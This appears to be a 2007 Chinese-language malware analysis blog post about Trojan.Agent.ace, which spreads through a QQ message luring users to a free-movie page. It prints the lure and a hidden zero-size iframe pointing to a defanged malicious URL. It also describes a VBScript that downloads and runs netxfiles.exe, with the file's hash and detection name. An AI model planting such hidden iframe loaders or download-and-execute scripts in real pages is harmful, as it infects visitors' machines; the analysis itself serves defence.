木馬Trojan.Agent.ace 通過QQ資訊中的網址傳播

endurer 原創

2007-01-17 第1版

QQ收到如下資訊：
/-------
給你一個免費看黃金甲的地址 www.17****wish.com.**/h**jj*.htm，不卡還清晰。
-------/

h**jj*.htm 中包含代碼：
/-------
＜iframe height="0" width="0" src="hxxp://www.hao***soft.net/down**mm/index1**.htm"＞＜/iframe＞
-------/

index1**.htm 包含VBscrīpt指令碼，功能是利用 Microsoft.XMLHTTP 和 scrīpting.FileSystemObject 下載檔案 netxfiles.exe，儲存為 %temp%/zj1244.com，並利用Shell.Application 對象Q 的 ShellExecute 方法 來運行。

netxfiles.exe 採用UPX 0.89.6 - 1.02 / 1.05 - 1.24 -＞ Markus & Laszlo加殼

/-------
檔案說明符 : D:/test/netxfiles.exe
擷取檔案版本資訊大小失敗!
建立時間 : 2007-1-17 12:8:57
修改時間 : 2007-1-17 12:8:58
訪問時間 : 2007-1-17 12:12:42
大小 : 38912 位元組 38.0 KB
MD5 : ae90cbafb9a9b4cd2207a8917145206e
-------/
瑞星1月9日19.05.11版加入，報為 Trojan.Agent.ace。